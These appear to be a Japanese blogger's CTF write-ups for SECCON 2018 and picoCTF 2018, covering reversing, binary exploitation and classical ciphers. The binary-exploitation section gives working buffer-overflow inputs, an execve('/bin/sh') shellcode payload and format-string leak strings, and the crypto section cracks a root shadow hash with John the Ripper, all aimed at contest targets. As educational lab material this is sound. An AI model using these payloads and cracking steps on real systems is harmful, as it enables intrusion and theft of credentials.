> file runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68
runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68: PE32 executable (console) Intel 80386, for MS Windows

諸事情でWindows環境を用意できなかったのでEasyWine.appを利用して実行してみると

f:id:satto1237:20181029233207p:plain

このままでは実行できないことが分かります.

そこで,idaを利用して実行ファイルを解析します.

f:id:satto1237:20181029234019p:plain

不自然なほど関数があるので1つずつ中身を確認していきます.

f:id:satto1237:20181029234331p:plain

いくつかの関数を確認するとflagが1文字ずつPushされていることに気づくので1文字ずつ読み取っていきます.
SECCON{Runn1n6_P47h}

Boguscrypt [Crypto]

Boguscrypt
Hey, Can you decrypt the file?

アプローチ:rev/pcap

zipファイルを解凍すると

> file challenge.pcap
challenge.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)
> file dec
dec: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83c20d8c2abda1f5e7505bc9f11723e6f59ce129, not stripped
> file flag.txt.encrypted
flag.txt.encrypted: data

pcap, 実行ファイル, テキストファイルを入手することができます.
Crypto問なのにバイナリファイルの解析しなきゃいけないのか…とちょっとテンションが下がりました.

とりあえずdecを実行してみると

> ./dec
Key?:Crypto

Keyの入力を求められ,適当な文字列を入力するとflag.txt.encryptedからflag.txtが生成されます.
ここで何通りかのKeyを入力して遊んでみるとflag.txtに変化が生じていないことに気づきます.

問題名のBogusは「偽の、いんちきな」という意味なので,Keyflag.txtの生成に無関係であることが予想できます.
gdbを使用して詳しくdecの動作を確認してみると, gethostbyaddrcallしていることに気づきます.

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb5948 --> 0x804ba60 ("ubuntu")
EBX: 0x0 
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7fb3000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xffffcfb8 --> 0x0 
ESP: 0xffffaf20 --> 0xffffaf30 --> 0x200007f 
EIP: 0x80486e1 (<main+100>:   cmp    DWORD PTR [esp+0x1c],0x0)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486d5 <main+88>:   mov    DWORD PTR [esp],eax
   0x80486d8 <main+91>:   call   0x80484c0 <gethostbyaddr@plt>
   0x80486dd <main+96>:   mov    DWORD PTR [esp+0x1c],eax
=> 0x80486e1 <main+100>:   cmp    DWORD PTR [esp+0x1c],0x0
   0x80486e6 <main+105>:  jne    0x80486fe <main+129>
   0x80486e8 <main+107>:  mov    DWORD PTR [esp],0x8048a15
   0x80486ef <main+114>:  call   0x8048550 <herror@plt>
   0x80486f4 <main+119>:  mov    eax,0x1
[------------------------------------stack-------------------------------------]
0000| 0xffffaf20 --> 0xffffaf30 --> 0x200007f 
0004| 0xffffaf24 --> 0x4 
0008| 0xffffaf28 --> 0x2 
0012| 0xffffaf2c --> 0x0 
0016| 0xffffaf30 --> 0x200007f 
0020| 0xffffaf34 --> 0x0 
0024| 0xffffaf38 --> 0x0 
0028| 0xffffaf3c --> 0xf7fb5948 --> 0x804ba60 ("ubuntu")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486e1 in main ()

ホスト名を変更して再度decを実行してみるとflag.txtに変化が生じていることが確認できます.
このことからchallenge.pcapからホスト名を探しだし,該当ホスト名でdecを実行するとflag.txtを正常にデコードできることが分かります.

challenge.pcapを眺めてると怪しいホスト名(cur10us4ndl0ngh0stn4m3)が見つかります f:id:satto1237:20181030001731p:plain

ホスト名をcur10us4ndl0ngh0stn4m3に変更してdecを実行するとflag.txtが正常にデコードできます.
SECCON{This flag is encoded by bogus routine}

お気持ち表明

取り組んだけど解けなかった問題とコンテスト終了後に解けた問題について書きます.

Classic Pwn [Pwn]

1番時間をかけた問題
returnアドレスのオフセットもlibc_baseもあってるはずなのに上手く行かなかった.
Pwnの勉強がんばります.

QRChecker [QR]

知ってたのに気づけなかった
news.yahoo.co.jp

mnemonic [Crypto]

Read me.

{
    "japanese": [
    [
        "d3a02b9706507552f0e70709f1d4921275204365b4995feae1d949fb59c663cc",
        "ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと",
        "338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f"
    ],
    [
        "dfc9708ac4b4e7f67be6b8e33486482cb363e81967a1569c6fd888b088046f7c",
        "ほんやく ごうきゅう おさめる たこやき ごかん れいぎ やせる ふるい まんなか てんない だんろ さうな きぼう よくぼう しのぐ よけい こんき みうち らくご いわかん いこく あたためる のはら たぶん",
        "bdadda5bbff97eb4fda0f11c7141bc3ce3de0fef0b2e4c47900858cec639c10187aee4695b1ba462b1dd34b170b62801e68c270b93af62629f4964947a620ed9"
    ],
    [
        "c0f...",
        "??? とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる",
        "e9a..."
    ],
    ],
    "flag": "SECCON{md5(c0f...)}"
}

アプローチ:BIP39

textファイルを見ても正直よく分からないのでmnemonic encodeとかでググります.
すると,なんやかんやでBIP39の日本語ワードリストを利用したMnemonicであることが分かります.

Seed phrase - Bitcoin Wiki

textファイルの???日本語ワードリストの単語に置き換えて,BIP39 Seedを計算し,先頭がe9aとなる単語を探索してる最中にコンテストが終了しました.

コンテスト終了後に気づいたのですが,11bit毎にhexを日本語に置き換えているだけなので全探索をせずとも???はワードリストの0xc0f >> 1番目の単語(はいれつ)であることが分かります.

以下スクリプトです.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import hashlib
import binascii
import mnemonic

if __name__ == '__main__' :
    WORDS = u' とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる'
    KEY = 0xc0f

    m = mnemonic.Mnemonic('japanese')
    first_word = m.wordlist[KEY>>1]
    entropy = binascii.hexlify(m.to_entropy(first_word + WORDS))
    hash = hashlib.md5(entropy).hexdigest()
    print('SECCON{' + hash + '}')
> python  solve.py
SECCON{cda2cb1742d1b6fc21d05c879c263eec}

SECCON{cda2cb1742d1b6fc21d05c879c263eec}

まとめ

  • 今年のSECCONは難しかったらしい(初参加なので違いが分からなかった)
  • Pwn, Rev偏重なので低レイヤ強くならないと楽しめないことが分かった
  • CryptoがBoguscrypt以外暗号通貨問だったのでつらかった(分かんねぇ〜〜〜〜〜〜〜)
  • 低レイヤの勉強頑張ります

picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]

まえがき

前回の続きです.
今回はReversingBinary ExploitationのWrite-upを書こうと思います.

satto.hatenadiary.com

Reversing

Reversing Warmup 1 - Points: 50

Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?

アプローチ:ELFファイルの実行

> file run
run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run
picoCTF{welc0m3_t0_r3VeRs1nG}

picoCTF{welc0m3_t0_r3VeRs1nG}

Reversing Warmup 2 - Points: 50

Can you decode the following string dGg0dF93NHNfczFtcEwz from base64 format to ASCII

アプローチ:base64

> echo dGg0dF93NHNfczFtcEwz | base64 --d
th4t_w4s_s1mpL3

picoCTF{th4t_w4s_s1mpL3}

assembly-0 - Points: 150

What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm0

asm0:
    push    ebp
    mov ebp,esp
    mov eax,DWORD PTR [ebp+0x8]
    mov ebx,DWORD PTR [ebp+0xc]
    mov eax,ebx
    mov esp,ebp
    pop ebp
    ret

アセンブラを読むとeaxebxをコピーしていること分かる このときasm0(0xb6,0xc6)なのでeax=0xb6,ebx=0xc6

picoCTF{0xc6,0xc6}

assembly-1 - Points: 200

What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm1

asm1:
    push    ebp
    mov ebp,esp
    cmp DWORD PTR [ebp+0x8],0x98
    jg  part_a
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x16
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xbc
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
part_d:
    pop ebp
    ret

picoCTF{0x73,0x73}

Binary Exploitation

buffer overflow 0 - Points: 150

Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

#include <stdio.h>                                                                                              
#include <stdlib.h>                                                                                             
#include <string.h>                                                                                             
#include <signal.h>                                                                                             
                                                                                                                
#define FLAGSIZE_MAX 64                                                                                         
                                                                                                                
char flag[FLAGSIZE_MAX];                                                                                        
                                                                                                                
void sigsegv_handler(int sig) {                                                                                 
  fprintf(stderr, "%s\n", flag);                                                                                
  fflush(stderr);                                                                                               
  exit(1);                                                                                                      
}                                                                                                               
                                                                                                                
void vuln(char *input){                                                                                         
  char buf[16];                                                                                                 
  strcpy(buf, input);                                                                                           
}                                                                                                               
                                                                                                                
int main(int argc, char **argv){                                                                                

  FILE *f = fopen("flag.txt","r");                                                                              
  if (f == NULL) {                                                                                              
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t
he shell server.\n");                                                                                           
    exit(0);                                                                                                    
  }                                                                                                             
  fgets(flag,FLAGSIZE_MAX,f);                                                                                   
  signal(SIGSEGV, sigsegv_handler);                                                                             

  gid_t gid = getegid();                                                                                        
  setresgid(gid, gid, gid);                                                                                     

  if (argc > 1) {                                                                                               
    vuln(argv[1]);                                                                                              
    printf("Thanks! Received: %s", argv[1]);                                                                    
  }                                                                                                             
  else                                                                                                          
    printf("This program takes 1 argument.\n");                                                                 
  return 0;                                                                                                     
}                                

アプローチ:BOF

コードを読むとvuln()strcpy(buf, input)が危ないことが分かるのでbufBOFします.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}

buffer overflow 1 - Points: 200

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

アプローチ:gdb+ltrace

コードを読むとvuln()のリターンアドレスをwin()にすればいいっぽいのでgdbを使ってアドレスを調べます.

(gdb) call vuln
$1 = {<text variable, no debug info>} 0x804862f <vuln>
(gdb) call win
$2 = {<text variable, no debug info>} 0x80485cb <win>

リターンアドレスを0x80485cbに書き換えるとflagがとれそうということが分かります.

ltraceを使いながらリターンアドレスの位置を計算します.

> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln
[0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...>
[0x804867f] setvbuf(0xf7f94d80, 0, 2, 0)                                = 0
[0x8048687] getegid()                                                   = 1000
[0x804869b] setresgid(1000, 1000, 1000, 0x8048687)                      = 0
[0x80486ab] puts("Please enter your string: "Please enter your string:
)                          = 27
[0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887)                 = 0xffca66e0
[0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
)   = 65
[0x4c4c4c4c] --- SIGSEGV (Segmentation fault) ---
[0xffffffffffffffff] +++ killed by SIGSEGV +++

0x4c4c4c4cになってることからLをアドレスに置き換えるといい感じになりそうということが分かります.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC
DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault

picoCTF{addr3ss3s_ar3_3asy65489706}

leak-me - Points: 200

Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 1271. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw:
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

アプローチ:nameでBOF

nameBOFするとパスワードが降ってきます.
a_reAllY_s3cuRe_p4s$word_f78570

> nc 2018shell1.picoctf.com 1271
What is your name?
satto1237
Hello satto1237,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

shellcode - Points: 200

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

アプローチ:BOFでshellを起動

getsを使用しているのでBOFは簡単にできそうということがわかる. 問題文がshellcodeなのでBOFshellを起動すればflagをとれそう.

ももテクを参考にexploitコードを書きました.

inaz2.hatenablog.com

exploitコード

import sys

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = 148
buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e  "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln
Enter a string!
1Rh//shh/binRSB
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_7f5a7309}

picoCTF{shellc0de_w00h00_7f5a7309}

echooo - Points: 300

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

アプローチ:FORMAT STRING ATTACK ~書式指定文字列攻撃~

今回もももテクを参考にしました.

inaz2.hatenablog.com

> nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647
>

bufのアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと

echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960

picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}

まとめ

  • Reversingわからん
  • Binary Exploitationわからん
  • 何もわからん
  • 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
  • 低レイヤ強くなりてぇ…

picoCTF 2018 Write-up [Cryptography]

まえがき

前回の続きです.
今回はCryptographyのWrite-upを書こうと思います.

satto.hatenadiary.com

Cryptography

Crypto Warmup 1 - Points: 75

Crpyto can often be done by hand, here's a message you got from a friend, llkjmlmpadkkc with the key of thisisalilkey. Can you use this table to solve it?.

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
   +----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

アプローチ:ヴィジュネル暗号

https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher

tableの最上段が平文(P),左段が鍵(K)になります.
text: llkjmlmpadkkc
key: thisisalilkey

-> SECRETMESSAGE

picoCTF{SECRETMESSAGE}

暗号文をCとしたときに

 P_i = (C_i + K_i) \bmod 26

となることを利用してスクリプトを書いたほうが速いです.

Crypto Warmup 2 - Points: 75

Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}

アプローチ:rot13

rot13.com

picoCTF{this_is_crypto!}

HEEEEEEERE'S Johnny! - Points: 100

Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell1.picoctf.com 42165. Files can be found here: passwd shadow.

passwd

root:x:0:0:root:/root:/bin/bash

shadow

root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:17770:0:99999:7:::

アプローチ:John the Ripper

ncするとユーザ名とパスワードの入力を求められるのでどうやらpasswdshadowからユーザ名とパスワードを推測しなければいけないようです.

/etc/passwd/etc/shadowについては以下を参照するといいと思います. www.server-memo.net

shadowファイル解読のためにJohn the Ripperを使います.

https://www.openwall.com/john/

> john --show shadow
root:kissme:17770:0:99999:7:::

1 password hash cracked, 0 left

root,kissmeでログイン

> nc 2018shell1.picoctf.com 42165
Username: root
Password: kissme
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}

picoCTF{J0hn_1$_R1pp3d_5f9a67aa}

caesar cipher 1 - Points: 150

This is one of the older ciphers in the books, can you decrypt the message? You can find the ciphertext in /problems/caesar-cipher-1_3_160978e2a142244574bd048623dba1ed on the shell server.

grpqxdllaliazxbpxozfmebotlvlicmr

アプローチ:rot

rot13.comrot3

picoCTF{justagoodoldcaesarcipherwoyolfpu}

hertz - Points: 150

Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc 2018shell1.picoctf.com 18581.

アプローチ:換字式暗号

ncすると

-------------------------------------------------------------------------------
crjgeqof nzez xf urve kpqg - fvtfoxovoxrj_cxdnzef_qez_frphqtpz_kgjhhgjimf
-------------------------------------------------------------------------------
xj q hxppqgz rk pq mqjcnq, onz jqmz rk anxcn x nqhz jr izfxez or cqpp or
mxji, onzez pxhzi jro prjg fxjcz rjz rk onrfz gzjopzmzj onqo szzd q pqjcz
xj onz pqjcz-eqcs, qj rpi tvcspze, q pzqj nqcs, qji q gezunrvji kre
crvefxjg. qj rppq rk eqonze mrez tzzk onqj mvoorj, q fqpqi rj mrfo
jxgnof, fceqdf rj fqoveiquf, pzjoxpf rj kexiquf, qji q dxgzrj re fr zwoeq
rj fvjiquf, mqiz qaqu axon onezz-bvqeozef rk nxf xjcrmz. onz ezfo rk xo
azjo xj q irvtpzo rk kxjz cpron qji hzphzo tezzcnzf qji fnrzf or mqocn
kre nrpxiquf, anxpz rj azzs-iquf nz mqiz q teqhz kxgvez xj nxf tzfo
nrmzfdvj. nz nqi xj nxf nrvfz q nrvfzszzdze dqfo kreou, q jxzcz vjize
oazjou, qji q pqi kre onz kxzpi qji mqeszo-dpqcz, anr vfzi or fqiipz onz
nqcs qf azpp qf nqjipz onz txpp-nrrs. onz qgz rk onxf gzjopzmqj rk rvef
aqf treizexjg rj kxkou; nz aqf rk q nqeiu nqtxo, fdqez, gqvjo-kzqovezi, q
hzeu zqepu exfze qji q gezqo fdreofmqj. onzu axpp nqhz xo nxf fvejqmz aqf
bvxwqiq re bvzfqiq (kre nzez onzez xf frmz ixkkzezjcz rk rdxjxrj qmrjg
onz qvonref anr aexoz rj onz fvtlzco), qponrvgn kerm ezqfrjqtpz
crjlzcovezf xo fzzmf dpqxj onqo nz aqf cqppzi bvzwqjq. onxf, nrazhze, xf
rk tvo pxoopz xmdreoqjcz or rve oqpz; xo axpp tz zjrvgn jro or foequ q
nqxe'f tezqion kerm onz oevon xj onz ozppxjg rk xo.

urv mvfo sjra, onzj, onqo onz qtrhz-jqmzi gzjopzmqj anzjzhze nz aqf qo
pzxfvez (anxcn aqf mrfopu qpp onz uzqe ervji) gqhz nxmfzpk vd or ezqixjg
trrsf rk cnxhqpeu axon fvcn qeirve qji qhxixou onqo nz qpmrfo zjoxezpu
jzgpzcozi onz dvefvxo rk nxf kxzpi-fdreof, qji zhzj onz mqjqgzmzjo rk nxf
derdzeou; qji or fvcn q dxocn ixi nxf zqgzejzff qji xjkqovqoxrj gr onqo
nz frpi mqju qj qcez rk oxppqgzpqji or tvu trrsf rk cnxhqpeu or ezqi, qji
tervgno nrmz qf mqju rk onzm qf nz crvpi gzo. tvo rk qpp onzez azez jrjz
nz pxszi fr azpp qf onrfz rk onz kqmrvf kzpxcxqjr iz fxphq'f crmdrfxoxrj,
kre onzxe pvcxixou rk foupz qji crmdpxcqozi crjczxof azez qf dzqepf xj
nxf fxgno, dqeoxcvpqepu anzj xj nxf ezqixjg nz cqmz vdrj crveofnxdf qji
cqeozpf, anzez nz rkozj krvji dqffqgzf pxsz "onz ezqfrj rk onz vjezqfrj
axon anxcn mu ezqfrj xf qkkpxcozi fr azqszjf mu ezqfrj onqo axon ezqfrj x
mvemve qo urve tzqvou;" re qgqxj, "onz nxgn nzqhzjf, onqo rk urve
ixhxjxou ixhxjzpu kreoxku urv axon onz foqef, ezjize urv izfzehxjg rk onz
izfzeo urve gezqojzff izfzehzf." rhze crjczxof rk onxf freo onz drre
gzjopzmqj prfo nxf axof, qji vfzi or pxz qaqsz foexhxjg or vjizefoqji
onzm qji arem onz mzqjxjg rvo rk onzm; anqo qexforopz nxmfzpk crvpi jro
nqhz mqiz rvo re zwoeqcozi nqi nz crmz or pxkz qgqxj kre onqo fdzcxqp
dvedrfz. nz aqf jro qo qpp zqfu qtrvo onz arvjif anxcn irj tzpxqjxf gqhz
qji orrs, tzcqvfz xo fzzmzi or nxm onqo, gezqo qf azez onz fvegzrjf anr
nqi cvezi nxm, nz mvfo nqhz nqi nxf kqcz qji triu crhzezi qpp rhze axon
fzqmf qji fcqef. nz crmmzjizi, nrazhze, onz qvonre'f aqu rk zjixjg nxf
trrs axon onz dermxfz rk onqo xjozemxjqtpz qihzjovez, qji mqju q oxmz aqf
nz ozmdozi or oqsz vd nxf dzj qji kxjxfn xo derdzepu qf xf onzez
derdrfzi, anxcn jr irvto nz arvpi nqhz irjz, qji mqiz q fvcczffkvp dxzcz
rk ares rk xo orr, nqi jro gezqoze qji mrez qtfretxjg onrvgnof dezhzjozi
nxm.

が降ってきます. おそらく換字式暗号なので文字の出現確率を見ながら適当に変換していきます.
変換ルールはこれです.

q -> A
g -> G
p -> L
k -> F
e -> R
z -> E
n -> H
r -> O
o -> T
j -> N
m -> M
i -> D
x -> I
f -> S
v -> U
a -> W
c -> C
u -> Y
t -> B
d -> P
s -> K
h -> V
w -> X
l -> J
b -> Q

最終的な文字列は以下のようになります.

-------------------------------------------------------------------------------
CONGRATS HERE IS YOUR FLAG - SUBSTITUTION_CIPHERS_ARE_SOLVABLE_FGNVVGNDMS
-------------------------------------------------------------------------------
IN A VILLAGE OF LA MANCHA, THE NAME OF WHICH I HAVE NO DESIRE TO CALL TO
MIND, THERE LIVED NOT LONG SINCE ONE OF THOSE GENTLEMEN THAT KEEP A LANCE
